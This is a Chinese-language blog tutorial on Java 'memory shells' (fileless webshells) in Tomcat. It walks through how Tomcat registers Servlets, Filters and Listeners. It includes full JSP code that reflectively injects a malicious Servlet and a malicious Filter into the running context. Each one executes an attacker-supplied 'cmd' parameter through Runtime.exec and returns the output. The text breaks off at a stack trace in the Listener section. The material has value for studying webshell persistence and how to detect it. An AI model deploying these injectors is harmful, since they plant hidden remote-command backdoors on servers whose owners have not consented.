JAVA内存马学习(一)

JAVA内存马学习(一)

本文字数:6966  阅读时长:14分钟

访客数:加载中... | 阅读量:加载中...

JAVA 内存马

之前学习过简陋版的 PHP 内存马,原理就是通过死循环让进程始终保持活跃。但是 JAVA 内存马貌似不一样,它涉及的东西更加多。

JAVA 里的服务机制类似于下图

其中 Servlet 层提供实际的服务,而 Filter 层则对传入的请求进行过滤,Listener 层用于监听服务器内的事件。而这三层都可以成为我们内存马的媒介。

这些组件的详细介绍可以参考这篇文章

而上述三种内存马的原理就是,添加恶意的组件,当我们访问时获取我们的恶意参数去执行代码。

Servlet 内存马原理

在 Tomcat 中 Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。 org.apache.catalina.startup.ContextConfig#configureContext 方法是 Apache Tomcat 中的一个核心方法,负责配置和初始化 Web 应用程序的上下文。这个方法被调用以设置和准备 Web 应用的各种配置参数,以确保应用的正常运行。 而在 org.apache.catalina.startup.ContextConfig#configureContext 内有一部分装载 Servlet 的代码,如下

java
while(var35.hasNext()) {
    ServletDef servlet = (ServletDef)var35.next();// 获取下一个 ServletDef 对象
    Wrapper wrapper = this.context.createWrapper();// 使用上下文对象创建 Wrapper 实例

    // 如果 servlet 的 loadOnStartup 属性不为 null,则将其值设置到 wrapper 中。这个属性指定了 servlet 在容器启动时是否应该被加载。
    if (servlet.getLoadOnStartup() != null) {
        wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
    }

    // 同样,如果 enabled 属性不为 null,则设定包装器中的启用状态。
    if (servlet.getEnabled() != null) {
        wrapper.setEnabled(servlet.getEnabled());
    }

    // 将 servlet 的名称设置到 wrapper 中
    wrapper.setName(servlet.getServletName());

    // 获取 servlet 的初始化参数,并通过迭代器将这些参数逐一添加到 wrapper 中
    Map<String, String> params = servlet.getParameterMap();
    var7 = params.entrySet().iterator();

    while(var7.hasNext()) {
        Map.Entry<String, String> entry = (Map.Entry)var7.next();
        wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());
    }
    wrapper.setRunAs(servlet.getRunAs());// 设置 “Run-As” 角色,以便于控制 servlet 在执行时所使用的安全权限。

    // 获取和处理相关的安全角色引用,将其添加到 wrapper 中,这部分用于权限管理。
    Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
    Iterator var37 = roleRefs.iterator();

    while(var37.hasNext()) {
        SecurityRoleRef roleRef = (SecurityRoleRef)var37.next();
        wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());
    }

    // 将 servlet 的类设置到 wrapper,指明实际的 servlet 实现类
    wrapper.setServletClass(servlet.getServletClass());

    // 这部分代码处理 multipart 请求的配置(例如文件上传),设置最大文件大小,请求大小和文件大小阈值。
    MultipartDef multipartdef = servlet.getMultipartDef();
    if (multipartdef != null) {
        long maxFileSize = -1L;
        long maxRequestSize = -1L;
        int fileSizeThreshold = 0;
        if (null != multipartdef.getMaxFileSize()) {
            maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
        }

        if (null != multipartdef.getMaxRequestSize()) {
            maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
        }

        if (null != multipartdef.getFileSizeThreshold()) {
            fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
        }

        wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold));
    }

    // 如果配置定义中包含异步支持,则将其添加到 wrapper 中。
    if (servlet.getAsyncSupported() != null) {
        wrapper.setAsyncSupported(servlet.getAsyncSupported());
    }

    // 设定 servlet 是否可被覆盖。
    wrapper.setOverridable(servlet.isOverridable());

    // 将配置好的 wrapper 添加到应用上下文中,这样上下文就可以在运行时正确地管理这个 servlet 实例。
    this.context.addChild(wrapper);
}
// 将 url 和 servlet 类做映射        
while(var35.hasNext()) {
    Map.Entry<String, String> entry = (Map.Entry)var35.next();
    this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());
}

这部分代码清晰的告诉了我们如何去添加一个 Servlet,其中关键的代码如下

java
ServletDef servlet = (ServletDef)var35.next();
Wrapper wrapper = this.context.createWrapper();
if (servlet.getLoadOnStartup() != null) {wrapper.setLoadOnStartup(servlet.getLoadOnStartup());}
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
this.context.addChild(wrapper);

先获取了一个 ServletDef 对象和一个 Wrapper 对象,设置 Wrapper 的 LoadOnStartUp 为 Servlet。设置 Wrapper 的名字,实现类,最后在上下文中添加这个 Wrapper 对象。

  1. 获取 ServletDef 对象,创建 Wapper 对象
  2. 设置 Wapper 的 LoadOnStartUp 的值
  3. 设置 Wapper 的名称
  4. 设置 Wapper 的实现 class
  5. 将配置好的 Wrapper 添加到 Context 中
  6. 将 url 和 servlet 类做映射

那么 Wrapper 是如何装载的呢?具体方法是在 org.apache.catalina.core.StandardContext#loadOnStartup

java
//loadOnStartup 方法接收一个 Container 数组 children,该数组包含了多个子组件,通常是 servlet 的 wrapper。该方法的返回值是一个布尔值,表示是否成功加载所有需要的 servlet。
public boolean loadOnStartup(Container[] children) {
    // 新建一个 TreeMap 对象 map,用于存储 loadOnStartup 值与对应的 Wrapper 对象之间的映射关系。TreeMap 默认会根据键自动排序。
    TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();
    Container[] var3 = children;
    int var4 = children.length;
    // 代码通过增强的 for 循环遍历所有的子组件。每个 child 被假设为一个 Wrapper 类型(即 servlet 的包装器)。获取这个 wrapper 的 loadOnStartup 值。如果 loadOnStartup 的值大于等于 0,表示该 servlet 需要在启动时加载。computeIfAbsent 方法用于检查 map 中是否已存在该 key(即 loadOnStartup 值)。如果不存在,则创建一个新的 ArrayList。将对应的 wrapper 添加到这个 ArrayList 中。
    for(int var5 = 0; var5 < var4; ++var5) {
        Container child = var3[var5];
        Wrapper wrapper = (Wrapper)child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup >= 0) {
            Integer key = loadOnStartup;
            ((ArrayList)map.computeIfAbsent(key, (k) -> {
                return new ArrayList();
            })).add(wrapper);
        }
    }

    Iterator var11 = map.values().iterator();
    // 加载 Servelet, 遍历 map 中的所有值(即每个 loadOnStartup 值对应的 Wrapper 列表)。对每个 wrapper 调用 load () 方法以进行加载操作。如果在加载过程中抛出 ServletException,则记录错误并判断是否应该中断整个加载过程。如果配置为在 servlet 失败时停止上下文加载,返回 false。
    while(var11.hasNext()) {
        ArrayList<Wrapper> list = (ArrayList)var11.next();
        Iterator var13 = list.iterator();

        while(var13.hasNext()) {
            Wrapper wrapper = (Wrapper)var13.next();

            try {
                wrapper.load();
            } catch (ServletException var10) {
                this.getLogger().error(sm.getString("standardContext.loadOnStartup.loadException", new Object[]{this.getName(), wrapper.getName()}), StandardWrapper.getRootCause(var10));
                if (this.getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }

    return true;
}

因此上述我们添加进 Wrapper 的 Servelet 能够被装载,正常执行。

Servlet 内存马简易实现

刚刚在上面介绍了 Servelet 是如何创建的,其是先获取了一个 ServletDef 对象和一个 Wrapper 对象,设置 Wrapper 的 LoadOnStartUp 为 Servlet。设置 Wrapper 的名字,实现类,最后在上下文中添加这个 Wrapper 对象。而在这个 Servelet 里面有什么可以被我们用来执行命令吗?欸,正好有,就是 Wrapper 的实现类。只要我们把它的实现类改成恶意类不就可以实现任意命令执行了吗。

下面是一个简易的 Demo,来自文章

java
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>MemoryShellInjectDemo</title>
</head>
<body>
<%
    try {
        // 从 request 中获取 ServletContext
        ServletContext servletContext = request.getSession().getServletContext();
        // 从 context 中获取 ApplicationContext 对象
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        // 从 ApplicationContext 中获取 StandardContext 对象
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        // 通过获取随机字符串设置 URL 和 Name 的值
        String servletURL = "/" + getRandomString();
        String servletName = "Servlet" + getRandomString();
        // 构造恶意的 Servlet
        Servlet servlet = new Servlet() {
            @Override
            public void init(ServletConfig servletConfig) {}
            @Override
            public ServletConfig getServletConfig() {
                return null;
            }
            @Override
            public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
                String cmd = servletRequest.getParameter("cmd");// 获取 cmd 参数
                {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();// 命令执行
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
            }
            @Override
            public String getServletInfo() {
                return null;
            }
            @Override
            public void destroy() {
            }
        };
        // 设置 Wrapper 的参数,类似于上面介绍的那部分代码
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName(servletName);
        wrapper.setServlet(servlet);// 将 servlet 实例与其对应的 wrapper 对象关联起来
        wrapper.setServletClass(servlet.getClass().getName());// 设置为恶意类
        wrapper.setLoadOnStartup(1);

        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded(servletURL, servletName);
        // 添加回显的数据
        response.getWriter().write("[+] Success!!!<br><br>[*] ServletURL:&nbsp;&nbsp;&nbsp;&nbsp;" + servletURL + "<br><br>[*] ServletName:&nbsp;&nbsp;&nbsp;&nbsp;" + servletName + "<br><br>[*] shellURL:&nbsp;&nbsp;&nbsp;&nbsp;http://localhost:8080/test" + servletURL + "?cmd=echo 世界,你好!");
    } catch (Exception e) {
        String errorMessage = e.getMessage();
        response.setCharacterEncoding("UTF-8");
        PrintWriter outError = response.getWriter();
        outError.println("Error: " + errorMessage);
        outError.flush();
        outError.close();
    }
%>
</body>
</html>
<%!
    private String getRandomString() {
        String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        StringBuilder randomString = new StringBuilder();
        for (int i = 0; i < 8; i++) {
            int index = (int) (Math.random() * characters.length());
            randomString.append(characters.charAt(index));
        }
        return randomString.toString();
    }
%>

执行效果

现在看这个 Demo 的组成应该很明显了,就是在原本 Servelet 的添加过程中,将原本的获取 Servelet 变成了自己写一个可以命令执行的恶意 Servelet,然后添加了通过反射获取 standardContext 再去添加 Child。

Filter 内存马原理

Emmm,刚刚有些东西没看懂,又查了些资料发现有些地方没讲搞得自己分析的云里雾里,又重新把部分遗漏的加上了,参考一下这篇文章,我重新讲一下 Filter 运行的原理

首先在 doFilter 处进行断点查看调用堆栈(没有的话可以参考这篇文章

java
doFilter:15, TestFilter (org.example)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

其中特别注意 invoke:168, StandardWrapperValve (org.apache.catalina.core) 这里的 invoke,它执行了

java
filterChain.doFilter(request.getRequest(), response.getResponse());

就是在这里调用了 doFilter,那么 filterChain 是什么呢?我们添加 Filter 的目标肯定是添加到这里面去。向上查找一下就能发现它的赋值。

java
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

进入查看它的实现。其代码在 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 里面,这是一个完整的 FilterChain 获取代码。

java
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
    if (servlet == null) {// 检查 servlet 是否为空
        return null;
    } else {
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {// 如果请求是 Request 实例,则继续处理,如果不是,则直接创建一个新的过滤器链。
            Request req = (Request)request;
            if (Globals.IS_SECURITY_ENABLED) {// 如果安全性启用,比如某些特性需要保护,那么将创建一个新的过滤器链。如果没有安全限制,尝试从请求中获取现有的过滤器链;如果没有找到,则创建一个新的并设置到请求中。
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain)req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            filterChain = new ApplicationFilterChain();
        }
        // 将目标 Servlet 赋值给过滤器链,并设置 Servlet 是否支持异步处理。获取 Servlet 的上下文以及对应的过滤器映射列表。
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
        StandardContext context = (StandardContext)wrapper.getParent();
        FilterMap[] filterMaps = context.findFilterMaps();// 关键代码 1
        if (filterMaps != null && filterMaps.length != 0) {
            // 获取了一些与请求调度有关的属性,包括请求路径和调度类型。
            DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
            String requestPath = null;
            Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
            if (attribute != null) {
                requestPath = attribute.toString();
            }

            String servletName = wrapper.getName();
            FilterMap[] var10 = filterMaps;
            int var11 = filterMaps.length;

            int var12;
            FilterMap filterMap;
            ApplicationFilterConfig filterConfig;
            // 遍历所有过滤器映射,检查它们是否与请求的调度类型和请求路径匹配。如果匹配,将对应的 ApplicationFilterConfig 添加到过滤器链中。
            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());// 关键代码 2
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);// 关键代码 3,添加 Filter
                    }
                }
            }

            var10 = filterMaps;
            var11 = filterMaps.length;

            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            return filterChain;
        } else {
            return filterChain;
        }
    }
}

在上述代码里展示了如何去添加一个 Filter,而其中的关键代码莫过于

  1. FilterMap[] filterMaps = context.findFilterMaps();
  2. filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
  3. filterChain.addFilter(filterConfig);

上述 1,2 的代码实现

java
public FilterMap[] findFilterMaps() {
    return this.filterMaps.asArray();
}

public FilterConfig findFilterConfig(String name) {
    synchronized(this.filterDefs) {
        return (FilterConfig)this.filterConfigs.get(name);
    }
}

从现在看,我们想要添加一个恶意的 Filter 至少要在上下文添加 FilterMap 和 FilterConfig。那么如何添加呢?先全局搜索一下 addFilterMap

查看 org.apache.catalina.core.StandardContext#addFilterMap 和 org.apache.catalina.core.StandardContext#addFilterMapBefore 的实现

java
public void addFilterMap(FilterMap filterMap) {
    this.validateFilterMap(filterMap);
    this.filterMaps.add(filterMap);
    this.fireContainerEvent("addFilterMap", filterMap);
}

public void addFilterMapBefore(FilterMap filterMap) {
    this.validateFilterMap(filterMap);
    this.filterMaps.addBefore(filterMap);
    this.fireContainerEvent("addFilterMap", filterMap);
}

其中 addFilterMap 是在一组映射末尾添加新的我们自定义的新映射,而 addFilterMapBefore 则会自动把我们创建的 filterMap 丢到第一位去,无需再手动排序。而我们制作恶意 Filter 自然是希望其在正常被正常过滤前就到达我们的恶意 Filter,因此 addFilterMapBefore 正好符合我们的需求。

但是它们的第一行都会执行 this.validateFilterMap (filterMap); 这是一个关键的步骤,我们去看它的实现

java
private void validateFilterMap(FilterMap filterMap) {
    String filterName = filterMap.getFilterName();
    String[] servletNames = filterMap.getServletNames();
    String[] urlPatterns = filterMap.getURLPatterns();
    if (this.findFilterDef(filterName) == null) {
        throw new IllegalArgumentException(sm.getString("standardContext.filterMap.name", new Object[]{filterName}));
    } else if (!filterMap.getMatchAllServletNames() && !filterMap.getMatchAllUrlPatterns() && servletNames.length == 0 && urlPatterns.length == 0) {
        throw new IllegalArgumentException(sm.getString("standardContext.filterMap.either"));
    } else {
        String[] var5 = urlPatterns;
        int var6 = urlPatterns.length;

        for(int var7 = 0; var7 < var6; ++var7) {
            String urlPattern = var5[var7];
            if (!this.validateURLPattern(urlPattern)) {
                throw new IllegalArgumentException(sm.getString("standardContext.filterMap.pattern", new Object[]{urlPattern}));
            }
        }

    }
}

//findFilterDef 的实现代码
public FilterDef findFilterDef(String filterName) {
    synchronized(this.filterDefs) {
        return (FilterDef)this.filterDefs.get(filterName);
    }
}

其中判断的第一行 if (this.findFilterDef (filterName) == null) 会执行 findFilterDef,而 findFilterDef 的代码内容就是去 FilterDef 查找这个 filterName,因此,在我们添加 FilterMap 前我们应该先添加 FilterDef。那么怎么添加呢。同样先用命名规则全局查找 addFilterDef。同样在 org.apache.catalina.core.StandardContext 下实现了 addFilterDef。

java
public void addFilterDef(FilterDef filterDef) {
    synchronized(this.filterDefs) {
        this.filterDefs.put(filterDef.getFilterName(), filterDef);
    }

    this.fireContainerEvent("addFilterDef", filterDef);
}

现在已经完成了添加 FilterMap 和 FilterDef,还剩下了 FilterConfig,那么有没有 addFilterConfig 方法呢?很可惜查找不到,但是却有类似方法,就是 filterStart 和 filterStop。查看 org.apache.catalina.core.StandardContext#filterStart 和 org.apache.catalina.core.StandardContext#filterStop 的实现

java
public boolean filterStart() {
    if (this.getLogger().isDebugEnabled()) {
        this.getLogger().debug("Starting filters");
    }

    boolean ok = true;
    synchronized(this.filterDefs) {
        this.filterConfigs.clear();
        Iterator var3 = this.filterDefs.entrySet().iterator();

        while(var3.hasNext()) {
            Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();
            String name = (String)entry.getKey();
            if (this.getLogger().isDebugEnabled()) {
                this.getLogger().debug(" Starting filter '" + name + "'");
            }

            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                this.filterConfigs.put(name, filterConfig);
            } catch (Throwable var8) {
                Throwable t = var8;
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
                ok = false;
            }
        }

        return ok;
    }
}

public boolean filterStop() {
    if (this.getLogger().isDebugEnabled()) {
        this.getLogger().debug("Stopping filters");
    }

    synchronized(this.filterDefs) {
        Iterator var2 = this.filterConfigs.entrySet().iterator();

        while(var2.hasNext()) {
            Map.Entry<String, ApplicationFilterConfig> entry = (Map.Entry)var2.next();
            if (this.getLogger().isDebugEnabled()) {
                this.getLogger().debug(" Stopping filter '" + (String)entry.getKey() + "'");
            }

            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)entry.getValue();
            filterConfig.release();
        }

        this.filterConfigs.clear();
        return true;
    }
}

简单看一下代码,大致意思是通过迭代从 filterDefs 中取出 filterDef 然后添加进 filterConfigs 映射里面。然后我在想既然我们已经写进了恶意的 filterDef,那我们可不可以直接调用 filterStart 呢?然后我就把通过反射添加 filterConfig 改成了通过反射执行 filterStart 方法,很可惜代码在执行该方法的第一行就出问题了,进入了 setBackgroundProcessorDelay 方法被延迟然后好像就没反应了。

因此还是按照原方法直接通过反射添加 FilterConfig

最后就是往 filterChain 里面添加我们的自定义的恶意 Filter 了,查看其实现 org.apache.catalina.core.ApplicationFilterChain#addFilter。

我看了几篇文章他们定位的 addFilter 都是在 org.apache.catalina.core.ApplicationContext#addFilter,但是我按照另一篇文章断点定位都是在 org.apache.catalina.core.ApplicationFilterChain#addFilter。可能是因为我们断点的是重写的 doFilter 不是原生的?不是断点在服务器启动阶段?

如果还想看前者的分析可以参考这篇文章前者是有判断服务是否在启动阶段

java
void addFilter(ApplicationFilterConfig filterConfig) {
    ApplicationFilterConfig[] newFilters = this.filters;// 获取 FilterChain 里面的 filter 数组
    int var3 = newFilters.length;

    for(int var4 = 0; var4 < var3; ++var4) {// 判断要添加的 Filter 是不是已经在 FilterChain 里面了
        ApplicationFilterConfig filter = newFilters[var4];
        if (filter == filterConfig) {// 如果已经有了,则不需要重复添加,直接结束方法
            return;
        }
    }

    if (this.n == this.filters.length) {// 循环到底了也没有找到,就进行新开一个更大的 newFilters 把原先的 filtesr 数组复制进去
        newFilters = new ApplicationFilterConfig[this.n + 10];
        System.arraycopy(this.filters, 0, newFilters, 0, this.n);
        this.filters = newFilters;
    }

    this.filters[this.n++] = filterConfig;// 最后把 filterConfig 添加到新开的 newFilters, 完成 FilterChain 里的 Filter 添加
}

这样我们就完成了一个恶意 Filter 的添加了! (.)Y Ya!!

Filter 内存马简易实现

既然我们已经知道了如何进行恶意 Filter 的添加,那么我们就可以尝试去写一个 Filter 内存马啦。下面是一个借鉴来的小 Demo。

java
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);

    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);

    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    // 获取 filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);

    String filterName = getRandomString();
    if (filterConfigs.get(filterName) == null) {// 之前没有添加过该 filterName 的 Filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {
            }

            @Override
            public void destroy() {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                String cmd = httpServletRequest.getParameter("cmd");
                {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");// 拦截所有资源 /*
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
        
        out.print( "[+]&nbsp;&nbsp;&nbsp;&nbsp;Malicious filter injection successful!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Filter name:" + filterName + "<br>");
        out.println("<table border='1'>");
    }
%>
<%!
    private String getRandomString() {
        String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        StringBuilder randomString = new StringBuilder();
        for (int i = 0; i < 8; i++) {
            int index = (int) (Math.random() * characters.length());
            randomString.append(characters.charAt(index));
        }
        return randomString.toString();
    }
%>

首先我们仍然是通过层层获取得到 standardContext,从中获取 filterConfigs 并且判断是否添加过该名字的 filter,若没有则自定义一个恶意的 Filter,然后逐步添加 FilterDef,FilterMap。注意 FilterDef 的添加要在 FilterMap 前面,原理之前已经讲过了在 addFilterBefore 里面会判断 FilterDef 里面是否有该 filterName。

最后就是添加 FilterConfig,这里是直接获取了 ApplicationFilterConfig 的构造方法,然后将其 put 进入通过反射获取的 filterConfigs 里,完成 Filter 创建的所有准备工作。

当我们访问页面时服务器会执行 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 重新获取新的 FilterChain,这个时候我们的恶意 Filter 就加载进服务器了。

Demo 测试效果:

Listener 内存马原理

看这个图

可以发现 Listener 的加载在 Filter 之前,既然 Filter 和 Servlet 都能做内存马,那 Listener 自然也不能缺席。

而在 tomcat 中有以下几种常见的 Listener:(借鉴来自文章

  1. ServletContextListener,用来监听整个 Web 应用程序的启动和关闭事件,需要实现 contextInitialized 和 contextDestroyed 这两个方法;
  2. ServletRequestListener,用来监听 HTTP 请求的创建和销毁事件,需要实现 requestInitialized 和 requestDestroyed 这两个方法;
  3. HttpSessionListener,用来监听 HTTP 会话的创建和销毁事件,需要实现 sessionCreated 和 sessionDestroyed 这两个方法;
  4. HttpSessionAttributeListener,用来监听 HTTP 会话属性的添加、删除和替换事件,需要实现 attributeAdded、attributeRemoved 和 attributeReplaced 这三个方法。

而最适合用来制作内存马的 Listener 自然是 ServletRequestListener,因为它只需要我们访问就能够触发。

在 TestListener 处断点调试有以下调用栈。

java
<init>:7, TestListener (org.example)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:143, DefaultInstanceManager (org.apache.catalina.core)
listenerStart:3934, StandardContext (org.apache.catalina.core)
startInternal:4448, StandardContext (org.apache.catalina.core)
start:164, LifecycleBase (org.apache.catalina.util)
addChildInternal:599, ContainerBase (org.apache.catalina.core)
addChild:571, ContainerBase (org.apache.catalina.core)
addChild:603, StandardHost (org.apache.catalina.core)
manageApp:1751, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:264, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:453, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:407, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:264, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1468, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1309, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1408, RMIConnectionImpl (javax.management.remote.rmi)
invoke:829, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
